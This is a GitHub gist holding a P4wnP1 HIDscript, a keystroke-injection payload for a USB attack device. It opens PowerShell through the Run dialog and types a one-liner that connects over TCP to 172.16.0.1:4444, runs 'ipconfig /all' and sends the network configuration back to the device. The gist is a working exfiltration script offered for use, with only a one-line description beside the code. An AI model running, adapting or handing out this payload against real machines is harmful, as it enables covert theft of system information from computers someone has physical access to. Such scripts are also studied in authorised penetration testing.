Last active
October 25, 2019 14:38
-
-
Save Klepvink/74274d9df46e422536032ea9d054e035 to your computer and use it in GitHub Desktop.
[P4wnP1] HIDscript for sending command output over TCP (requires a TCP listener to be active on P4wnP1)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
layout("US"); | |
press("GUI r"); | |
delay(500); | |
type("powershell\n"); | |
delay(1100); | |
type("$Port = '4444';$tcpConnection = New-Object System.Net.Sockets.TcpClient('172.16.0.1', $Port);$tcpStream = $tcpConnection.GetStream();$writer = New-Object System.IO.StreamWriter($tcpStream);$writer.AutoFlush = $true;while ($tcpConnection.Connected){if ($tcpConnection.Connected){$command = ipconfig /all;$output = $command | out-string;$writer.WriteLine($output) | Out-Null;break}}$writer.Close();exit\n"); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment